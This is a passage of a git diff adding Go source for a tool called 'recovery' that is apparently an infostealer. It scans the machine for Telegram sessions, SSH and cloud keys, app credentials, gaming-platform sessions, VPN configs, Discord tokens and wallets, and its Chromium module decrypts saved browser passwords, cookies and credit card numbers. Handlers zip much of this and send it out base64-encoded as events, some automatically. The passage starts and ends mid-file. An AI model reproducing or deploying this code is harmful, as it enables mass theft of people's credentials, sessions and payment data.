log.Printf("[recovery] file scan panic: %v", r) + sendEvent("error", map[string]string{"error": "file scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning files..."}) + files := recovery.ScanFiles() + log.Printf("[recovery] file scan complete: %d files", len(files)) + sendEvent("file_scan_results", map[string]interface{}{ + "files": files, + "truncated": len(files) >= 500, + }) +} + +func handleFetchFile(payload []byte) { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fetch_file panic: %v", r) + sendEvent("fetch_file_error", map[string]string{"error": "internal error"}) + } + }() + + var req struct { + Path string `json:"path"` + } + if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" { + sendEvent("fetch_file_error", map[string]string{"error": "invalid request"}) + return + } + + data, err := recovery.FetchFile(req.Path) + if err != nil { + log.Printf("[recovery] fetch_file %q: %v", req.Path, err) + sendEvent("fetch_file_error", map[string]string{"path": req.Path, "error": err.Error()}) + return + } + + log.Printf("[recovery] fetched %q (%d bytes)", req.Path, len(data)) + sendEvent("fetch_file_result", map[string]interface{}{ + "path": req.Path, + "name": filepath.Base(req.Path), + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) +} + +func handleScanTelegram() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] telegram scan panic: %v", r) + sendEvent("error", map[string]string{"error": "telegram scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning Telegram sessions..."}) + sessions := recovery.ScanTelegram() + log.Printf("[recovery] telegram scan complete: %d accounts", len(sessions)) + sendEvent("telegram_scan_results", map[string]interface{}{ + "sessions": sessions, + }) + for _, s := range sessions { + if s.Size > maxAutoDownloadSize { + log.Printf("[recovery] skipping telegram auto-download for %q (%d bytes exceeds limit)", s.Account, s.Size) + continue + } + data, err := recovery.ZipTelegram(s.Path) + if err != nil { + log.Printf("[recovery] telegram zip %q: %v", s.Account, err) + continue + } + log.Printf("[recovery] telegram auto-download %q (%d bytes)", s.Account, len(data)) + sendEvent("telegram_data", map[string]interface{}{ + "account": s.Account, + "path": s.Path, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) + } +} + +func handleFetchTelegramZip(payload []byte) { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fetch_telegram_zip panic: %v", r) + sendEvent("fetch_telegram_zip_error", map[string]string{"error": "internal error"}) + } + }() + + var req struct { + Path string `json:"path"` + Account string `json:"account"` + } + if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" { + sendEvent("fetch_telegram_zip_error", map[string]string{"error": "invalid request"}) + return + } + + data, err := recovery.ZipTelegram(req.Path) + if err != nil { + log.Printf("[recovery] fetch_telegram_zip %q: %v", req.Account, err) + sendEvent("fetch_telegram_zip_error", map[string]string{"path": req.Path, "error": err.Error()}) + return + } + + log.Printf("[recovery] zipped telegram %q (%d bytes)", req.Account, len(data)) + sendEvent("telegram_data", map[string]interface{}{ + "account": req.Account, + "path": req.Path, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) +} + +func handleScanKeys() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] key scan panic: %v", r) + sendEvent("error", map[string]string{"error": "key scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning SSH & cloud keys..."}) + keys := recovery.ScanKeys() + log.Printf("[recovery] key scan complete: %d keys", len(keys)) + sendEvent("key_scan_results", map[string]interface{}{ + "keys": keys, + }) +} + +func handleScanApps() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] app scan panic: %v", r) + sendEvent("error", map[string]string{"error": "app credential scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning app credentials..."}) + apps := recovery.ScanApps() + log.Printf("[recovery] app scan complete: %d credentials", len(apps)) + sendEvent("app_scan_results", map[string]interface{}{ + "appCredentials": apps, + }) +} + +func handleScanGaming() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] gaming scan panic: %v", r) + sendEvent("error", map[string]string{"error": "gaming scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning gaming platforms..."}) + gaming := recovery.ScanGaming() + sendEvent("gaming_scan_results", map[string]interface{}{ + "gaming": gaming, + }) + if gaming == nil { + return + } + autoDownloadGaming(gaming) +} + +func autoDownloadGaming(gaming *recovery.GamingResult) { + type zipJob struct { + name string + fn func() ([]byte, error) + } + var jobs []zipJob + + if gaming.Steam != nil && gaming.Steam.SteamPath != "" { + steamPath := gaming.Steam.SteamPath + jobs = append(jobs, zipJob{"steam", func() ([]byte, error) { return recovery.ZipSteamSession(steamPath) }}) + } + if len(gaming.BattleNet) > 0 { + jobs = append(jobs, zipJob{"battlenet", recovery.ZipBattleNet}) + } + if len(gaming.Epic) > 0 { + jobs = append(jobs, zipJob{"epic", recovery.ZipEpic}) + } + if len(gaming.Riot) > 0 { + jobs = append(jobs, zipJob{"riot", recovery.ZipRiot}) + } + if len(gaming.Uplay) > 0 { + jobs = append(jobs, zipJob{"uplay", recovery.ZipUplay}) + } + + for _, j := range jobs { + data, err := j.fn() + if err != nil || len(data) == 0 { + log.Printf("[recovery] gaming zip %s: %v", j.name, err) + continue + } + if len(data) > maxAutoDownloadSize { + log.Printf("[recovery] gaming zip %s too large (%d bytes), skipping", j.name, len(data)) + continue + } + log.Printf("[recovery] gaming auto-download %s (%d bytes)", j.name, len(data)) + sendEvent("gaming_data", map[string]interface{}{ + "platform": j.name, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) + } +} + +func handleScanVPN() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] vpn scan panic: %v", r) + sendEvent("error", map[string]string{"error": "vpn scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning VPN configurations..."}) + vpns := recovery.ScanVPNs() + sendEvent("vpn_scan_results", map[string]interface{}{ + "vpns": vpns, + }) +} + +func handleUnload() { + log.Printf("[recovery] unloading") +} + +func handleFingerprint() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fingerprint panic: %v", r) + sendEvent("error", map[string]string{"error": "fingerprint error"}) + } + }() + sendEvent("fingerprint_result", recovery.CollectFingerprint()) + log.Printf("[recovery] fingerprint collected") +} + +func handleFingerprintJS() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fingerprint_js panic: %v", r) + sendEvent("error", map[string]string{"error": "fingerprint_js error"}) + } + }() + result := recovery.CollectJSFingerprint() + if result == nil { + sendEvent("fingerprint_js_result", map[string]string{"error": "failed to collect JS fingerprint"}) + return + } + sendEvent("fingerprint_js_result", result) + log.Printf("[recovery] JS fingerprint collected") +} + +func main() {} diff --git a/native/recovery/browser/browser_darwin.go b/native/recovery/browser/browser_darwin.go new file mode 100644 index 0000000..5ae1788 --- /dev/null +++ b/native/recovery/browser/browser_darwin.go @@ -0,0 +1,111 @@ +//go:build darwin + +package browser + +import ( + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" +) + +var Browsers = []types.BrowserConfig{ + // Chromium family + {Name: "Chrome", UserDataPath: "Google/Chrome", ProcessName: "Google Chrome"}, + {Name: "Chrome Beta", UserDataPath: "Google/Chrome Beta", ProcessName: "Google Chrome Beta"}, + {Name: "Chrome Canary", UserDataPath: "Google/Chrome Canary", ProcessName: "Google Chrome Canary"}, + {Name: "Chromium", UserDataPath: "Chromium", ProcessName: "Chromium"}, + {Name: "Edge", UserDataPath: "Microsoft Edge", ProcessName: "Microsoft Edge"}, + {Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "Brave Browser"}, + {Name: "Vivaldi", UserDataPath: "Vivaldi", ProcessName: "Vivaldi"}, + {Name: "Opera", UserDataPath: "com.operasoftware.Opera", ProcessName: "Opera", FlatProfile: true}, + {Name: "Opera GX", UserDataPath: "com.operasoftware.OperaGX", ProcessName: "Opera GX", FlatProfile: true}, + {Name: "Arc", UserDataPath: "Arc/User Data", ProcessName: "Arc"}, + {Name: "Yandex", UserDataPath: "Yandex/YandexBrowser", ProcessName: "Yandex"}, + // Firefox family + {Name: "Firefox", UserDataPath: "Firefox", ProcessName: "firefox", IsFirefox: true}, + {Name: "LibreWolf", UserDataPath: "LibreWolf", ProcessName: "librewolf", IsFirefox: true}, + {Name: "Waterfox", UserDataPath: "Waterfox", ProcessName: "waterfox", IsFirefox: true}, +} + +func GetLocalAppData() string { + home, _ := os.UserHomeDir() + return filepath.Join(home, "Library", "Application Support") +} + +func GetUserDataRoot(cfg types.BrowserConfig) string { + return filepath.Join(GetLocalAppData(), cfg.UserDataPath) +} + +func LocalStatePath(cfg types.BrowserConfig) string { + return filepath.Join(GetUserDataRoot(cfg), "Local State") +} + +func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo { + root := GetUserDataRoot(cfg) + + if cfg.FlatProfile { + if _, err := os.Stat(root); err == nil { + return []types.ProfileInfo{{Name: "Default", Path: root}} + } + return nil + } + + if cfg.IsFirefox { + return findFirefoxProfiles(root) + } + + return findChromiumProfiles(root) +} + +func findChromiumProfiles(root string) []types.ProfileInfo { + entries, err := os.ReadDir(root) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + prefPath := filepath.Join(root, e.Name(), "Preferences") + if _, err := os.Stat(prefPath); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(root, e.Name()), + }) + } + } + return profiles +} + +func findFirefoxProfiles(root string) []types.ProfileInfo { + profilesDir := filepath.Join(root, "Profiles") + entries, err := os.ReadDir(profilesDir) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(profilesDir, e.Name()), + }) + } + } + return profiles +} + +func IsFirefoxProfileName(name string) bool { + parts := strings.SplitN(name, ".", 2) + if len(parts) != 2 { + return false + } + suffix := strings.ToLower(parts[1]) + return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release") +} diff --git a/native/recovery/browser/browser_linux.go b/native/recovery/browser/browser_linux.go new file mode 100644 index 0000000..b4e7ad1 --- /dev/null +++ b/native/recovery/browser/browser_linux.go @@ -0,0 +1,112 @@ +//go:build linux + +package browser + +import ( + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" +) + +var Browsers = []types.BrowserConfig{ + // Chromium family + {Name: "Chrome", UserDataPath: "google-chrome", ProcessName: "chrome"}, + {Name: "Chrome Beta", UserDataPath: "google-chrome-beta", ProcessName: "chrome"}, + {Name: "Chrome Dev", UserDataPath: "google-chrome-unstable", ProcessName: "chrome"}, + {Name: "Chromium", UserDataPath: "chromium", ProcessName: "chromium"}, + {Name: "Edge", UserDataPath: "microsoft-edge", ProcessName: "msedge"}, + {Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "brave"}, + {Name: "Vivaldi", UserDataPath: "vivaldi", ProcessName: "vivaldi"}, + {Name: "Opera", UserDataPath: "opera", ProcessName: "opera", FlatProfile: true}, + // Firefox family + {Name: "Firefox", UserDataPath: ".mozilla/firefox", ProcessName: "firefox", IsFirefox: true}, + {Name: "LibreWolf", UserDataPath: ".librewolf", ProcessName: "librewolf", IsFirefox: true}, + {Name: "Waterfox", UserDataPath: ".waterfox", ProcessName: "waterfox", IsFirefox: true}, +} + +func GetLocalAppData() string { + home, _ := os.UserHomeDir() + return filepath.Join(home, ".config") +} + +func GetUserDataRoot(cfg types.BrowserConfig) string { + if cfg.IsFirefox { + home, _ := os.UserHomeDir() + return filepath.Join(home, cfg.UserDataPath) + } + return filepath.Join(GetLocalAppData(), cfg.UserDataPath) +} + +func LocalStatePath(cfg types.BrowserConfig) string { + return filepath.Join(GetUserDataRoot(cfg), "Local State") +} + +func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo { + root := GetUserDataRoot(cfg) + + if cfg.FlatProfile { + if _, err := os.Stat(root); err == nil { + return []types.ProfileInfo{{Name: "Default", Path: root}} + } + return nil + } + + if cfg.IsFirefox { + return findFirefoxProfiles(root) + } + + return findChromiumProfiles(root) +} + +func findChromiumProfiles(root string) []types.ProfileInfo { + entries, err := os.ReadDir(root) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + prefPath := filepath.Join(root, e.Name(), "Preferences") + if _, err := os.Stat(prefPath); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(root, e.Name()), + }) + } + } + return profiles +} + +func findFirefoxProfiles(root string) []types.ProfileInfo { + profilesDir := root + entries, err := os.ReadDir(profilesDir) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(profilesDir, e.Name()), + }) + } + } + return profiles +} + +func IsFirefoxProfileName(name string) bool { + parts := strings.SplitN(name, ".", 2) + if len(parts) != 2 { + return false + } + suffix := strings.ToLower(parts[1]) + return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release") +} diff --git a/native/recovery/browser/browser_windows.go b/native/recovery/browser/browser_windows.go new file mode 100644 index 0000000..d4fc4f8 --- /dev/null +++ b/native/recovery/browser/browser_windows.go @@ -0,0 +1,113 @@ +//go:build windows + +package browser + +import ( + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" +) + +var Browsers = []types.BrowserConfig{ + // ── Chromium family (LOCALAPPDATA) ──────────────────────────────────────── + {Name: "Chrome", UserDataPath: `Google\Chrome\User Data`, ProcessName: "chrome.exe"}, + {Name: "Edge", UserDataPath: `Microsoft\Edge\User Data`, ProcessName: "msedge.exe"}, + {Name: "Brave", UserDataPath: `BraveSoftware\Brave-Browser\User Data`, ProcessName: "brave.exe"}, + {Name: "Vivaldi", UserDataPath: `Vivaldi\User Data`, ProcessName: "vivaldi.exe"}, + {Name: "Yandex", UserDataPath: `Yandex\YandexBrowser\User Data`, ProcessName: "browser.exe"}, + {Name: "Arc", UserDataPath: `Arc\User Data`, ProcessName: "Arc.exe"}, + // ── Opera (APPDATA, flat profile) ──────────────────────────────────────── + // ts doesn't work will fix in the future + {Name: "Opera", UserDataPath: `Opera Software\Opera Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true}, + {Name: "Opera GX", UserDataPath: `Opera Software\Opera GX Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true}, + // ── Firefox family (APPDATA, Firefox profile layout) ───────────────────── + {Name: "Firefox", UserDataPath: `Mozilla\Firefox`, ProcessName: "firefox.exe", UseAppData: true, IsFirefox: true}, + {Name: "LibreWolf", UserDataPath: `LibreWolf`, ProcessName: "librewolf.exe", UseAppData: true, IsFirefox: true}, + {Name: "Waterfox", UserDataPath: `Waterfox`, ProcessName: "waterfox.exe", UseAppData: true, IsFirefox: true}, +} + +func GetLocalAppData() string { + return os.Getenv("LOCALAPPDATA") +} + +func GetUserDataRoot(cfg types.BrowserConfig) string { + base := os.Getenv("LOCALAPPDATA") + if cfg.UseAppData { + base = os.Getenv("APPDATA") + } + return filepath.Join(base, cfg.UserDataPath) +} + +func LocalStatePath(cfg types.BrowserConfig) string { + return filepath.Join(GetUserDataRoot(cfg), "Local State") +} + +func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo { + root := GetUserDataRoot(cfg) + + if cfg.FlatProfile { + if _, err := os.Stat(root); err == nil { + return []types.ProfileInfo{{Name: "Default", Path: root}} + } + return nil + } + + if cfg.IsFirefox { + return findFirefoxProfiles(root) + } + + return findChromiumProfiles(root) +} + +func findChromiumProfiles(root string) []types.ProfileInfo { + entries, err := os.ReadDir(root) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + prefPath := filepath.Join(root, e.Name(), "Preferences") + if _, err := os.Stat(prefPath); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(root, e.Name()), + }) + } + } + return profiles +} + +func findFirefoxProfiles(root string) []types.ProfileInfo { + profilesDir := filepath.Join(root, "Profiles") + entries, err := os.ReadDir(profilesDir) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(profilesDir, e.Name()), + }) + } + } + return profiles +} + +func IsFirefoxProfileName(name string) bool { + parts := strings.SplitN(name, ".", 2) + if len(parts) != 2 { + return false + } + suffix := strings.ToLower(parts[1]) + return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release") +} diff --git a/native/recovery/browser/log.go b/native/recovery/browser/log.go new file mode 100644 index 0000000..d853c18 --- /dev/null +++ b/native/recovery/browser/log.go @@ -0,0 +1,7 @@ +package browser + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[browser] "+format, args...) +} diff --git a/native/recovery/chromium/chromium.go b/native/recovery/chromium/chromium.go new file mode 100644 index 0000000..465647a --- /dev/null +++ b/native/recovery/chromium/chromium.go @@ -0,0 +1,316 @@ +package chromium + +import ( + "database/sql" + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + + "recovery/recovery/crypto" + "recovery/recovery/db" + "recovery/recovery/types" +) + +const HistoryLimit = 5000 + +func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.PasswordResult { + var results []types.PasswordResult + + for _, dbFile := range []string{"Login Data", "Login Data For Account"} { + dbPath := filepath.Join(profile.Path, dbFile) + if _, err := os.Stat(dbPath); err != nil { + continue + } + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + continue + } + + rows, err := d.Query("SELECT origin_url, username_value, password_value FROM logins") + if err != nil { + d.Close() + continue + } + for rows.Next() { + var url, username sql.NullString + var passwordBlob []byte + rows.Scan(&url, &username, &passwordBlob) + password := crypto.DecryptChromiumBlob(passwordBlob, keys.V10, keys.V20) + if dbFile == "Login Data For Account" && password == "" { + continue + } + if url.String != "" && (username.String != "" || password != "") { + results = append(results, types.PasswordResult{ + URL: url.String, + Username: username.String, + Password: password, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + rows.Close() + d.Close() + } + + return results +} + +func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CookieResult { + dbPath := filepath.Join(profile.Path, "Network", "Cookies") + if _, err := os.Stat(dbPath); err != nil { + dbPath = filepath.Join(profile.Path, "Cookies") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + } + + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + logf("cookie DB open failed for %s (%s): %v", cfg.Name, dbPath, err) + return nil + } + defer d.Close() + + rows, err := d.Query("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value, value FROM cookies") + if err != nil { + logf("cookie query failed for %s: %v", cfg.Name, err) + return nil + } + defer rows.Close() + + var results []types.CookieResult + count := 0 + for rows.Next() { + count++ + var host, name, path, plainValue sql.NullString + var secure, httpOnly sql.NullBool + var expiresUTC sql.NullInt64 + var encryptedValue []byte + + rows.Scan(&host, &name, &path, &secure, &httpOnly, &expiresUTC, &encryptedValue, &plainValue) + value := crypto.DecryptChromiumBlob(encryptedValue, keys.V10, keys.V20) + if value == "" { + value = plainValue.String + } + results = append(results, types.CookieResult{ + Host: host.String, + Name: name.String, + Value: value, + Path: path.String, + Secure: secure.Bool, + HTTPOnly: httpOnly.Bool, + ExpiresUTC: expiresUTC.Int64, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + logf("cookie row count for %s: %d", cfg.Name, count) + return results +} + +func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult { + dbPath := filepath.Join(profile.Path, "Web Data") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + return nil + } + defer d.Close() + + queries := []string{ + "SELECT name, value, date_created, count FROM autofill", + "SELECT name, value, count FROM autofill", + "SELECT name, value FROM autofill", + } + + var results []types.AutofillResult + for _, q := range queries { + rows, err := d.Query(q) + if err != nil { + continue + } + for rows.Next() { + var name, value sql.NullString + var dateCreated, count sql.NullInt64 + switch len(strings.Split(q, ",")) { + case 4: + rows.Scan(&name, &value, &dateCreated, &count) + case 3: + rows.Scan(&name, &value, &count) + default: + rows.Scan(&name, &value) + } + if name.String != "" { + results = append(results, types.AutofillResult{ + Name: name.String, + Value: value.String, + DateCreated: dateCreated.Int64, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + rows.Close() + if len(results) > 0 { + break + } + } + return results +} + +func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.HistoryResult { + dbPath := filepath.Join(profile.Path, "History") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + return nil + } + defer d.Close() + + queries := []string{ + fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition, v.visit_duration FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit), + fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit), + } + + var results []types.HistoryResult + for _, q := range queries { + rows, err := d.Query(q) + if err != nil { + continue + } + for rows.Next() { + var url, title sql.NullString + var visitTime sql.NullInt64 + var transition, duration sql.NullInt64 + + if strings.Contains(q, "visit_duration") { + rows.Scan(&url, &title, &visitTime, &transition, &duration) + } else { + rows.Scan(&url, &title, &visitTime, &transition) + } + + var visitTimeUnix int64 + if visitTime.Int64 > 0 { + visitTimeUnix = (visitTime.Int64 - 11644473600000000) / 1000000 + } + if url.String != "" { + results = append(results, types.HistoryResult{ + URL: url.String, + Title: title.String, + VisitTimeUnix: visitTimeUnix, + VisitCount: duration.Int64, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + rows.Close() + if len(results) > 0 { + break + } + } + return results +} + +func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult { + bookmarkPath := filepath.Join(profile.Path, "Bookmarks") + data, err := os.ReadFile(bookmarkPath) + if err != nil { + return nil + } + + var bookmarkData map[string]interface{} + if err := json.Unmarshal(data, &bookmarkData); err != nil { + return nil + } + + var results []types.BookmarkResult + if roots, ok := bookmarkData["roots"].(map[string]interface{}); ok { + walkBookmarkNode(roots, cfg.Name, profile.Name, &results) + } + return results +} + +func walkBookmarkNode(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) { + for _, key := range []string{"bookmark_bar", "other", "synced"} { + if child, ok := node[key].(map[string]interface{}); ok { + walkBookmarkChildren(child, browser, profileName, results) + } + } +} + +func walkBookmarkChildren(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) { + children, ok := node["children"].([]interface{}) + if !ok { + return + } + for _, c := range children { + child, ok := c.(map[string]interface{}) + if !ok { + continue + } + switch child["type"] { + case "url": + name, _ := child["name"].(string) + url, _ := child["url"].(string) + if url != "" { + *results = append(*results, types.BookmarkResult{ + Name: name, + URL: url, + Type: "url", + Browser: browser, + Profile: profileName, + }) + } + case "folder": + walkBookmarkChildren(child, browser, profileName, results) + } + } +} + +func ExtractCreditCards(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CreditCardResult { + dbPath := filepath.Join(profile.Path, "Web Data") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + return nil + } + defer d.Close() + + rows, err := d.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, nickname FROM credit_cards") + if err != nil { + return nil + } + defer rows.Close() + + var results []types.CreditCardResult + for rows.Next() { + var name, nickname sql.NullString + var expMonth, expYear sql.NullInt64 + var encrypted []byte + rows.Scan(&name, &expMonth, &expYear, &encrypted, &nickname) + + cardNumber := crypto.DecryptChromiumBlob(encrypted, keys.V10, keys.V20) + if name.String != "" || cardNumber != "" { + results = append(results, types.CreditCardResult{ + NameOnCard: name.String, + ExpirationMonth: int(expMonth.Int64), + ExpirationYear: int(expYear.Int64), + CardNumber: cardNumber, + Nickname: nickname.String, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results +} diff --git a/native/recovery/chromium/log.go b/native/recovery/chromium/log.go new file mode 100644 index 0000000..86b1cfa --- /dev/null +++ b/native/recovery/chromium/log.go @@ -0,0 +1,7 @@ +package chromium + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[chromium] "+format, args...) +} diff --git a/native/recovery/collect.go b/native/recovery/collect.go new file mode 100644 index 0000000..fae1cf3 --- /dev/null +++ b/native/recovery/collect.go @@ -0,0 +1,399 @@ +package recovery + +import ( + "context" + "fmt" + "sync" + + "recovery/recovery/browser" + "recovery/recovery/chromium" + "recovery/recovery/crypto" + "recovery/recovery/discord" + "recovery/recovery/firefox" + "recovery/recovery/platform" + "recovery/recovery/scanner" + "recovery/recovery/types" +) + +func mergeInto(dst, src *types.CollectionResult) { + dst.Passwords = append(dst.Passwords, src.Passwords...) + dst.Cookies = append(dst.Cookies, src.Cookies...) + dst.Autofill = append(dst.Autofill, src.Autofill...) + dst.History = append(dst.History, src.History...) + dst.Bookmarks = append(dst.Bookmarks, src.Bookmarks...) + dst.CreditCards = append(dst.CreditCards, src.CreditCards...) + dst.DiscordTokens = append(dst.DiscordTokens, src.DiscordTokens...) + dst.Files = append(dst.Files, src.Files...) + dst.Wallets = append(dst.Wallets, src.Wallets...) + dst.Telegram = append(dst.Telegram, src.Telegram...) + dst.Keys = append(dst.Keys, src.Keys...) + dst.AppCredentials = append(dst.AppCredentials, src.AppCredentials...) + if src.Gaming != nil { + dst.Gaming = src.Gaming + } + if src.VPNs != nil { + dst.VPNs = src.VPNs + } + dst.Errors = append(dst.Errors, src.Errors...) +} + +func Collect(ctx context.Context, opts types.CollectOptions, partialFn func(*types.CollectionResult)) (*types.CollectionResult, error) { + result := &types.CollectionResult{} + + platform.ResetHandleCache() + defer platform.ResetHandleCache() + + var ( + mu sync.Mutex + wg sync.WaitGroup + ) + + launchScans(opts, result, partialFn, &wg, &mu) + + platformSetupCollect() + defer platformTeardownCollect() + + needsBrowserData := opts.Passwords || opts.Cookies || opts.Autofill || + opts.History || opts.Bookmarks || opts.CreditCards + + type job struct { + cfg types.BrowserConfig + keys *types.ResolvedKeys + profile types.ProfileInfo + pids []uint32 + } + + jobCh := make(chan job, 64) + + // Launch extraction workers up front so they can consume jobs as soon as + // each browser's keys resolve, instead of waiting for every browser's key + // resolution (and its headless spawn) to finish first. + const workers = 4 + for i := 0; i < workers; i++ { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("browser profile extraction", &result.Errors, &mu) + for j := range jobCh { + select { + case <-ctx.Done(): + return + default: + } + func() { + defer recoverErrors(fmt.Sprintf("%s/%s extraction", j.cfg.Name, j.profile.Name), &result.Errors, &mu) + partial := extractProfileData(ctx, j.cfg, j.keys, j.profile, j.pids, opts) + mu.Lock() + mergeInto(result, partial) + mu.Unlock() + if partialFn != nil && (len(partial.Passwords) > 0 || len(partial.Cookies) > 0 || + len(partial.Autofill) > 0 || len(partial.History) > 0 || + len(partial.Bookmarks) > 0 || len(partial.CreditCards) > 0) { + partialFn(partial) + } + }() + } + }() + } + + if needsBrowserData { + const keyWorkers = 3 + sem := make(chan struct{}, keyWorkers) + var keyWg sync.WaitGroup + for _, cfg := range browser.Browsers { + profiles := browser.FindProfileDirs(cfg) + if len(profiles) == 0 { + continue + } + keyWg.Add(1) + go func(cfg types.BrowserConfig, profiles []types.ProfileInfo) { + defer keyWg.Done() + sem <- struct{}{} + defer func() { <-sem }() + + logf("resolving keys for %s (%d profiles)", cfg.Name, len(profiles)) + keys, err := crypto.ResolveKeys(cfg) + if err != nil { + logf("%s key resolution failed: %v", cfg.Name, err) + keys = &types.ResolvedKeys{} + mu.Lock() + result.Errors = append(result.Errors, fmt.Sprintf("%s key resolution: %v", cfg.Name, err)) + mu.Unlock() + } + pids, _ := platform.FindProcesses(cfg.ProcessName) + + for _, p := range profiles { + select { + case jobCh <- job{cfg, keys, p, pids}: + case <-ctx.Done(): + logf("collection deadline reached; stopping job producer for %s", cfg.Name) + return + } + } + }(cfg, profiles) + } + + go func() { + keyWg.Wait() + close(jobCh) + }() + } else { + close(jobCh) + } + + wg.Wait() + + if err := ctx.Err(); err != nil { + note := fmt.Sprintf("collection interrupted (%v); results may be incomplete", err) + result.Errors = append(result.Errors, note) + logf("%s", note) + } + + return result, nil +} + +func launchScans(opts types.CollectOptions, result *types.CollectionResult, partialFn func(*types.CollectionResult), wg *sync.WaitGroup, mu *sync.Mutex) { + if opts.Discord { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("discord token extraction", &result.Errors, mu) + tokens := discord.ExtractTokens() + if len(tokens) > 0 { + mu.Lock() + result.DiscordTokens = append(result.DiscordTokens, tokens...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{DiscordTokens: tokens}) + } + } + }() + } + + if opts.Files { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("file scan", &result.Errors, mu) + files := scanner.ScanFiles() + if len(files) > 0 { + mu.Lock() + result.Files = append(result.Files, files...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Files: files}) + } + } + }() + } + + if 